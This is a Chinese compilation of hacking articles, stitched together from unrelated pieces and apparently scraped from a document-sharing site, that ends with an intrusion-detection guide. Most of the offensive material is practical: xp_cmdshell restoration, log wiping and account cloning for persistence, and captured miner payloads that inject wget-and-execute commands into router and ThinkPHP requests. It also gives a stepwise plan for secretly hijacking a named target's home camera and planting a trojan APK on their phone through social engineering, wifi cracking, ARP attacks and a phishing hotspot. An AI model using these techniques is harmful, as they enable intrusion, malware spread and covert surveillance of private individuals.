入侵步骤和思路
黑客入侵网站的 50种方法
工具使用方法动画和所有文件
/bbs/printpage.asp?boardid=2&id=811
20.缺少xp_cmdshell时
尝试恢复exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
45.解决tcp/ip筛选 在注册表里有三处，分别是：
hkey_local_machine\system\controlset001\services\tcpip
hkey_local_machine\system\controlset002\services\tcpip
35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的ip
然后用#clear logg和#clear line vty *删除日志
36.搜索关键字:"copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多
/library/toolbar/3.0/search.aspx?view=en-us&charset=iso-8859-1&qu=
8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上qq大盗木马
7.开启regedt32的sam的管理员权限 检查hkey_local_machine\sam\sam\和hkey_local_machine\sam\sam\下的管理员和guest的f键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆,
入侵者如何利用漏洞来入侵网络？
入侵者如何利用漏洞来入侵网络？一、钓鱼攻击钓鱼攻击是入侵者经常采用的手段之一。
入侵者会通过伪装成合法机构或个人发送伪造的电子邮件或信息，诱使用户点击恶意链接或提供个人敏感信息。
当用户点击链接或泄露个人信息后，入侵者将获得用户的敏感数据，从而进一步侵入其账户或系统。
钓鱼攻击的手段多种多样，入侵者常常会冒充银行、社交媒体平台等，使用非法手段获取用户信息。
针对这种攻击，用户应保持警惕，避免点击可疑链接，并且在提供个人信息之前，先认真核对发件人的身份。
二、恶意软件的滋生恶意软件是入侵者另一种常用的入侵手段。
入侵者通过利用系统或软件的漏洞，注入恶意代码进入用户的设备或网络中，从而控制用户设备或窃取用户敏感信息。
恶意软件具有隐蔽性和破坏性，入侵者往往通过网络下载、病毒邮件传播等方式将其传播给用户。
一旦用户点击或下载了恶意软件，入侵者便能获取用户的敏感信息，甚至控制用户设备进行更进一步的攻击。
为了防范恶意软件的滋生，用户应定期更新操作系统和软件，同时安装可靠的杀毒软件。
在收到可疑邮件或访问不明链接时，最好不要随意点击，以免受到恶意软件的侵害。
三、远程代码执行攻击远程代码执行攻击是入侵者利用网络漏洞的又一种重要方法。
入侵者通过利用服务器、系统或应用程序的漏洞，成功执行恶意代码，从而入侵用户的设备或网络。
入侵者通常会寻找目标系统或应用程序的漏洞，通过注入恶意代码，控制受害者设备或获取敏感信息。
远程代码执行攻击具有隐蔽性强、攻击面广等特点，给用户设备和系统带来巨大危害。
为了防范远程代码执行攻击，用户应定期更新操作系统和软件，以及安装可信任的安全补丁，及时修复漏洞。
同时，合理使用防火墙和入侵检测系统，加强网络安全防护。
四、社交工程攻击社交工程攻击是入侵者通过操纵人们的心理和社交活动，获取用户的敏感信息的一种手段。
入侵者通过诱导、煽动或欺骗，使用户泄露个人账户、密码、银行卡号等重要信息。
入侵者利用社交工程攻击往往配合钓鱼攻击、恶意软件等手段，通过欺骗用户的社交关系或使用虚假身份获取用户的信任。
入侵的基本步骤(精)
黑客攻击的基本步骤不要步骤化，只是提供基本思路！在实践中，观察，分析，灵活，这样才可能成功。
被条条框框限制住，很难成功的。
黑客攻击的基本步骤：搜集信息实施入侵上传程序、下载数据利用一些方法来保持访问，如后门、特洛伊木马隐藏踪迹信息搜集在攻击者对特定的网络资源进行攻击以前，他们需要了解将要攻击的环境，这需要搜集汇总各种与目标系统相关的信息，包括机器数目、类型、操作系统等等。
踩点和扫描的目的都是进行信息的搜集。
攻击者搜集目标信息一般采用7个基本步骤，每一步均有可利用的工具，攻击者使用它们得到攻击目标所需要的信息。
找到初始信息找到网络的地址范围找到活动的机器找到开放端口和入口点弄清操作系统弄清每个端口运行的是哪种服务画出网络图1. 找到初始信息攻击者危害一台机器需要有初始信息，比方一个IP地址或一个域名。
实际上获取域名是很容易的一件事，然后攻击者会根据已知的域名搜集关于这个站点的信息。
比方服务器的IP地址〔不幸的是服务器通常使用静态的IP地址〕或者这个站点的工作人员，这些都能够帮助发起一次成功的攻击。
搜集初始信息的一些方法包括：开放来源信息〔open source information〕在一些情况下，公司会在不知不觉中泄露了大量信息。
公司认为是一般公开的以及能争取客户的信息，都能为攻击者利用。
这种信息一般被称为开放来源信息。
开放的来源是关于公司或者它的合作伙伴的一般、公开的信息，任何人能够得到。
这意味着存取或者分析这种信息比较容易，并且没有犯罪的因素，是很合法的。
这里列出几种获取信息的例子：公司新闻信息：如某公司为展示其技术的先进性和能为客户提供最好的监控能力、容错能力、服务速度，往往会不经意间泄露了系统的操作平台、交换机型号、及基本的线路连接。
公司职工信息：大多数公司网站上附有地址簿，在上面不仅能发现CEO和财务总监，也可能知道公司的VP和主管是谁。
新闻组：现在越来越多的技术人员使用新闻组、论坛来帮助解决公司的问题，攻击者看这些要求并把他们与电子信箱中的公司名匹配，这样就能提供一些有用的信息。
图解网络入侵的过程
图解网络入侵的过程图解网络入侵的过程引言经济社会的发展要求各用户之间的通信和资源共享，需要将一批计算机连成网络，这样就隐含着很大的风险，包含了极大的脆弱性和复杂性，特别是对当今最大的网络——国际互联网，很容易遭到别有用心者的恶意攻击和破坏。
随着国民经济的信息化程度的提高，有关的大量情报和商务信息都高度集中地存放在计算机中，随着网络应用范围的扩大，信息的泄露问题也变得日益严重，因此，计算机网络的安全性问题就越来越重要。
本文主要是写了网络上几种入侵的过程一、简单的"黑客"入侵TCP/IP协议顺序号预测攻击是最简单的"黑客"入侵，也是系统安全的最大威胁。
在网络上，每台计算机有惟一的IP地址，计算机把目标IP地址和一个惟一的顺序号加载于传输的每一个数据包上。
在一个TCP连接中，接收机只收到具有正确IP地址和顺序号的那个包裹。
许多安全设备，如路由器，只允许有一定IP地址的计算机收发传送。
TCP/IP 顺序号预测入侵将使用网络给计算机赋址的方式和包裹交换的顺序来企图访问网络。
一般来说，"黑客"进行TCP/IP 顺序号预测攻击分两步：第一，得到服务器的IP地址。
黑客一般通过网上报文嗅探，顺序测试号码，由WEB浏览器连接到结点上并在状态栏中寻找结点的IP地址。
因为黑客知道其他计算机有一个与服务器IP地址部分公用的IP地址，他便尽力模拟一个能让其通过路由器和作为网络用户访问系统的IP号码。
例如，如果系统的IP 地址为192.0.0.15，黑客便知有近256台计算机可以连入一个C级网，并猜出所有最后位在序列中出现过的地址号码。
IP 地址指示了一个网络连接的计算机数，同时上述地址的高字节中两个最重要的位设定指出了该网为C级网，下图显示了黑客是怎祥预测C级网的IP号码的。
"黑客"用服务器的IP地址来猜测其他网络地址第二，黑客在试过网上IP地址之后，便开始监视网下传送包的序列号，然后，黑客将试图推测服务器能产生的下一个序列号，再将自己有效地插入服务器和用户之间。
内网渗透思路简单介绍
内⽹渗透思路简单介绍内⽹⼊侵是在攻击者获取⽬标webshell之后的⼀个后渗透的过程。
内⽹渗透流程 内⽹渗透⼤致可以分为两部分⼀部分是内⽹信息收集，另⼀部分为内⽹⼊侵⽅法。
⼀、内⽹信息收集 1、本机信息收集 本机⽤户列表 本机进程 服务列表 开放端⼝ 电脑补丁 共享权限 系统⽇志 历史记录 2、扩展信息收集 扩展信息是本机所在同意局域⽹中的其他主机信息，这其中涉及到了Active Directory（域所在的数据库）、域控信息以及Dsquery命令。
3、第三⽅信息收集 NETBIOS SMB 漏洞信息 端⼝信息⼆、内⽹渗透⽅法 内⽹渗透现在有⼀点神话的感觉，其实内⽹渗透的本质还是渗透，只不过设计了⼀些其他的技术。
以下介绍⼀些常⽤的内⽹渗透⽅法： 1、端⼝转发 因为⽬标处于内⽹，通常外⽹⽆法访问导致渗透存在⼀定难度，这时就需要⼀些端⼝转发⼯具和反弹代理等操作。
Windows⼯具： Lcx.exe端⼝转发⼯具 Htran.exe端⼝转发⼯具 ReDuh端⼝转发 Linux⼯具： rtcp.py Puttp+ssh Socks代理 还有强⼤的Msf 2、HASH值抓取⼯具 Pwdump7 Gsecdump WCE Getpass（基于mimikatz）⼯具逆向获取铭⽂密码 3、密码记录⼯具 WinlogonHack——劫取远程3389登录密码 NTPass——获取管理员⼝令 键盘记录专家 Linux下的openssh后门 Linux键盘记录sh2log 4、漏洞扫描 Nmap——可以对操作系统进⾏扫描，对⽹络系统安全进⾏评估 Metasploit——强⼤的内⽹渗透⼯具 HScan——扫描常见漏洞 5、第三⽅服务攻击 1433——SQL server服务攻击 3306——Mysql服务攻击 其他第三⽅服务漏洞 6、ARP和DNS欺骗 利⽤内⽹嗅探⼯具抓取⽹络信息继⽽发起攻击 CAIN——⽹络嗅探⼯具。
黑客攻击思路的流程
黑客攻击思路的流程随着互联网的快速发展，黑客攻击已成为网络安全领域中的一大隐患。
黑客攻击以其灵活多变的攻击方式和强大的破坏力，在不经意间就能让人的信息暴露于风险之中。
为了保护自己的网络安全，我们有必要了解黑客攻击的思路和流程。
一、信息收集黑客攻击的第一步是信息收集。
黑客会通过各种方式，如搜索引擎、社交网络、域名注册信息等，收集目标的相关信息。
这些信息包括目标的IP地址、域名、服务器信息、开放端口等等。
黑客会利用这些信息为后续的攻击做准备。
二、漏洞扫描在信息收集的基础上，黑客会对目标系统进行漏洞扫描。
漏洞扫描是为了找到系统中存在的安全漏洞，以便于后续的攻击。
黑客会使用各种扫描工具和技术，如端口扫描、弱口令扫描、漏洞扫描等，来发现系统中的漏洞。
三、入侵尝试在找到系统中的漏洞后，黑客会开始尝试入侵目标系统。
入侵尝试的方式有很多种，比如利用系统漏洞进行远程代码执行、通过社交工程攻击获取管理员权限、使用暴力破解等。
黑客会根据目标系统的情况选择合适的入侵方式。
四、权限提升一旦成功入侵目标系统，黑客会尝试提升自己的权限，以获取更高的权限和更多的控制权。
黑客会通过提升操作系统权限、获取管理员账号、利用系统漏洞进行提权等方式来实现权限的提升。
五、横向移动在获取了足够的权限后，黑客会进行横向移动，寻找其他有价值的目标。
黑客会利用系统中的漏洞或弱密码，进一步渗透到其他主机或系统中，以获取更多的敏感信息或控制权。
六、数据窃取黑客攻击的目的往往是为了获取目标系统中的敏感信息。
一旦黑客成功渗透到目标系统中，他们会开始窃取数据。
黑客可以通过各种方式，如抓取网络数据包、窃取数据库信息、拷贝文件等，获取目标系统中的敏感数据。
七、控制篡改除了窃取数据，黑客还可能对目标系统进行控制和篡改。
他们可以在系统中植入恶意代码，实现远程控制；修改系统配置，导致系统崩溃；篡改网站内容，给用户带来误导等。
八、覆盖踪迹为了逃避追踪和发现，黑客会尽可能地覆盖自己的踪迹。
挖矿病毒、ddos入侵流程及溯源
挖矿病毒、ddos⼊侵流程及溯源⼀挖矿病毒简介攻击者利⽤相关安全隐患向⽬标机器种植病毒的⾏为。
⼆攻击⽅式攻击者通常利⽤弱⼝令、未授权、代码执⾏、命令执⾏等漏洞进⾏传播。
⽰例如下：⽰例1：POST /tmUnblock.cgi HTTP/1.1Host: 188.166.41.194:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedttcp_ip=-h `cd /tmp; rm -rf mpsl; wget chmod 777 mpsl; ./mpsllinksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1⽰例⼆：GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Host: 103.27.111.204三脚本流程 3.1、杀死其他同类产品以及安全软件。
入侵家用摄像头和个人手机的一些思路
⼊侵家⽤摄像头和个⼈⼿机的⼀些思路⼊侵家⽤摄像头和个⼈⼿机的⼀些思路⼊侵家⽤摄像头：⽬标-》甲家⽤摄像头存在于内⽹中，内⽹没做穿透，⼀般外⽹⽆法进⾏访问。
确定摄像头品牌。
现在的家⽤摄像头好多都是⽤和家亲做客户端才能访问了。
⼯具：思路：确定甲有摄像头，确定甲安装家⽤宽带。
确定甲有wifi。
获取wifi密码：1.社⼯：1.1 甲与你是朋友或熟⼈关系，直接当场询问wifi密码。
就说连个wifi⽤⽤。
1.2 甲与你是陌⽣⼈，在他家附近等他出现，你上去就说你的是⼿机停机了，能不能⿇烦给你个wifi密码连下wifi交点话费。
等等。
骗个wifi密码为⽬的。
2.其他：2.1：确定那个wifi是他家的。
使⽤你带有⽆线功能的电脑(笔记本电脑)。
把kali安装到虚拟机利⽤kali-linux中的aricrack-ng进⾏wifi密码破解。
有具体⽂章。
获得WiFi密码后，进⼊内⽹环境。
ipconfig查看⾃⼰的内⽹ip使⽤namp ⼯具进⾏扫描内⽹在线的主机；nmap命令：nmap 192.168.x.1/24查看甲家的内⽹在线的主机。
通过识别端⼝号鉴别摄像头的内⽹ip地址。
1.打开⽹页输⼊192.168.x.1 进⼊路由器后台。
输⼊弱⼝令admin/admin尝试登录。
如果进去就直接把摄像头给禁⽤了。
登录不了看看能不能爆破。
2.尝试使⽤arp攻击，把这个摄像头的ip断⽹处理。
摄像头掉线了。
乘着甲没注意。
⽤你的和家亲客户端扫⼀扫摄像头进⾏绑定。
3.恢复摄像头的⽹路。
应该和家亲就有这台摄像机了。
就可以进⾏监控了。
电脑端可以下载cms摄像头客户端。
进⾏添加设备。
具体实现后续。
⼊侵⼿机：苹果系统⽬前难以⼊侵。
⾃⼰拥有云服务器。
使⽤kali中的msf ⽣成⽊马.apk，并且修改图标。
修改具有诱惑⼒的名字，要让甲想安装这个软件。
在甲经常出现的地⽅。
使⽤kali 构造钓鱼wifi。
诱导甲登录这个wifi 。
在诱导他安装⽊马.apk。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
第一步：进入系统1. 扫描目标主机。
2. 检查开放的端口，获得服务软件及版本。
3. 检查服务软件是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。
4. 检查服务软件的附属程序(*1)是否存在漏洞，如果是，利用该漏洞远程进入系统；否则进入下一步。
5. 检查服务软件是否存在脆弱帐号或密码，如果是，利用该帐号或密码系统；否则进入下一步。
6. 利用服务软件是否可以获取有效帐号或密码，如果是，利用该帐号或密码进入系统；否则进入下一步。
7. 服务软件是否泄露系统敏感信息，如果是，检查能否利用；否则进入下一步。
8. 扫描相同子网主机，重复以上步骤，直到进入目标主机或放弃。
第二步：提升权限1. 检查目标主机上的SUID和GUID程序是否存在漏洞，如果是，利用该漏洞提升权限，否则进入下一步。
2. 检查本地服务是否存在漏洞，如果是，利用该漏洞提升权限，否则进入下一步。
3. 检查本地服务是否存在脆弱帐号或密码，如果是，利用该帐号或密码提升权限；否则进入下一步。
4. 检查重要文件的权限是否设置错误，如果是，利用该漏洞提升权限，否则进入下一步。
5. 检查配置目录(*2)中是否存在敏感信息可以利用。
6. 检查用户目录中是否存在敏感信息可以利用。
7. 检查临时文件目录(*3)是否存在漏洞可以利用。
8. 检查其它目录(*4)是否存在可以利用的敏感信息。
9. 重复以上步骤，直到获得root权限或放弃。
第三步：放置后门最好自己写后门程序，用别人的程序总是相对容易被发现。
第四步：清理日志最好手工修改日志，不要全部删除，也不好使用别人写的工具。
附加说明：*1 例如WWW服务的附属程序就包括CGI程序等*2 这里指存在配置文件的目录，如/etc等*3 如/tmp等，这里的漏洞主要指条件竞争*4 如WWW目录，数据文件目录等/*****************************************************************************/ 好了，大家都知道了入侵者入侵一般步骤及思路那么我们开始做入侵检测了。
第一步、我们都知道一个入侵者想要入侵一台服务器首先要扫描这台服务器，搜集服务器的信息，以便进一步入侵该系统。
系统信息被搜集的越多，此系统就越容易被入侵者入侵。
所以我们做入侵检测时，也有必要用扫描器扫描一下系统，搜集一下系统的一些信息，来看看有没有特别流行的漏洞(呵呵这个年头都时兴流行哦：)第二步、扫描完服务器以后，查看扫描的信息－－－－>分析扫描信息。
如果有重大漏洞－－－－>修补(亡羊补牢，时未晚)，如果没有转下一步。
第三步、没有漏洞，使用杀毒工具扫描系统文件，看看有没有留下什么后门程序，如：nc.E ⅩE、srv.EⅩE......如果没有转下一步。
第四步、入侵者一般入侵一台机器后留下后门，充分利用这台机器来做一些他想做的事情，如：利用肉鸡扫描内网，进一步扩大战果，利用肉鸡作跳板入侵别的网段的机器，嫁祸于这台机器的管理员，跑流影破邮箱......如何检测这台机器有没有装一些入侵者的工具或后门呢？查看端口(偏好命令行程序，舒服)1、fport.EⅩE－－－>查看那些端口都是那些程序在使用。
有没有非法的程序，和端口winshell.EⅩE 8110 晕倒～后门net use 谁在用这个连接我？2、netstat -an ---->查看那些端口与外部的ip相连。
23 x.x.x.x 没有开23端口，怎么自己打开了？？黑客！？3、letmain.EⅩE \\ip -admin -d 列出本机的administrators组的用户名查看是否有异常。
怎么多了一个hacker用户？？<＝＝>net user id4、pslist.EⅩE---->列出进程<==>任务管理器5、pskill.EⅩE---->杀掉某个进程，有时候在任务管理器中无法中止程序那就用这个工具来停止进程吧。
6、login.EⅩE ---->列出当前都有那些用户登录在你的机器上，不要你在检测的同时，入侵者就在破坏：(7、查看日志文件--->庞大的日志文件--->需要借助第三方软件来分析日志记录了入侵者扫描的信息和合法用户的正确请求Find “scirpts/..” C:\WINNT\system32\LogFiles\W3SVC1\ex010705.log --解码漏洞？？谁在扫描我？8、查看Web 目录下文件改动与否留没有留asp php 后门......查看存放日志文件的目录DOS dir /aGUI 查看显示所有文件和文件夹技巧：查看文件的修改日期，我两个月没有更新站点了(好懒：)，怎么Web 目录下有最近修改文件的日期？？奇怪吧？：)＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃C:\WINNT\system32\LogFiles\W3SVC1>dirdir驱动器C 中的卷是system Server卷的序列号是F4EE-CE39C:\WINNT\system32\LogFiles\W3SVC1 的目录2001-07-05 02:43 1,339 ex010704.log2001-07-05 23:54 52,208 ex010705.log2001-07-07 22:59 0 ex010707.log2001-07-08 22:45 0 ex010708.log2001-07-10 08:00 587 ex010709.log恩？奇怪？怎么没有2001-07-06 那天的日志文件？？可疑......2001-07-07、2001-07-08 两天的日志文件大小为零，我得网站访问量怎么两天都是空？？没有那么惨吧：(好奇怪？！＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃D:\win 2000>dirdir驱动器D 中的卷是新加卷卷的序列号是28F8-B814D:\win 2000 的目录2001-06-03 17:43 <DIR> .2001-06-03 17:43 <DIR> ..2001-06-03 17:43 <DIR> CLIENTS2001-06-03 17:43 <DIR> BOOTDISK2001-06-03 17:43 <DIR> I3862001-06-03 17:46 <DIR> PRINTERS2001-06-03 17:46 <DIR> SETUPTXT2001-06-03 17:46 <DIR> SUPPORT2001-06-03 17:46 <DIR> VALUEADD2000-01-10 20:00 45 AUTORUN.INF2000-01-10 20:00 304,624 BOOTFONT.BIN2000-01-10 20:00 5 CDROM_IS.52000-01-10 20:00 5 CDROM_NT.52000-01-10 20:00 12,354 READ1ST.TXT2000-01-10 20:00 465,408 README.DOC2000-01-10 20:00 267,536 SETUP.EⅩE2001-06-04 17:37 <DIR> SP12001-06-27 16:03 <DIR> sp22001-07-06 00:05 <DIR> system --->从来没有修改或安装什么文件程序啊什么时候多了system 目录？这个是我安装win 2000 的安装文件。
日期怎么不对2001-07-06，日志文件也没有2001-07-06 的这一天的记录，可疑.......7 个文件1,049,977 字节12 个目录10,933,551,104 可用字节＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃总的来说入侵检测包括：一、基于80端口入侵的检测CGI IIS 程序漏洞......二、基于安全日志的检测工作量庞大三、文件访问日志与关键文件保护四、进程监控后门什么的五、注册表校验木马六、端口监控21 23 3389 ...七、用户我觉得这个很重要，因为入侵者进入系统以后，为了方便以后的“工作”通常会加一个用户或者激活guest帐号提升为管理员的/************** 借助第三方软件协助分析IDS Firewall .....***********************/对unix & linux 入侵检测说几句有必要先用扫描器扫描一下系统，搜集一下资料CGI RPC TELNETD FTP ......本地远程溢出漏洞......1、检查suid sgid 程序find / -user root -perm -4000 -print --常用find / -group kmem -perm -2000 -print2、查看系统的二进制文件是否被更改如：ls su telnet netstat ifconfig find du df sync login......建议做入侵检测时候，从一个干净的系统copy 过来这些文件来做检测使用MD5 Tripwire 校验工具检测3、检查/etc/passwd 文件有没有新增的用户、没有口令的帐号、uid等于0的帐号......4、检查有没有网络禁用词语程序在运行netstat -an5、检查系统非正常的隐藏文件".." ".. " "..^G"find / -name ".. " -print -xdevfind / -name ".*" -print -xdev | cat -v6、在系统正常运作的情况下，系统管理员要经常使用下列命令(必要的话，系统管理员可以改变path，或者修改二进制文件名称，放到一个只有自己知道的目录下)在保证二进制文件没有被篡改的情况下用绝对路径/bin/who/bin/w/bin/last/bin/lastcomm/bin/netstat/bin/snmpnetstat...shell 的历史文件如：.history 、.rchist、.bash_history......7、日志8、........因为unix&vlinux系列源代码是开放的，所以如果入侵者装上了内核后门#!@$%!#@%$#@^$&强烈建议备份您机器上重要文件，重装系统，打好补丁，迎接入侵者^_^/******************借助第三方软件协助分析IDS Firewall .....***********************/入侵检测介绍就到这里，在实际运用中，系统管理员对基础知识掌握的情况直接关系到他的安全敏感度，只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子，未雨绸缪，扼杀入侵的行动。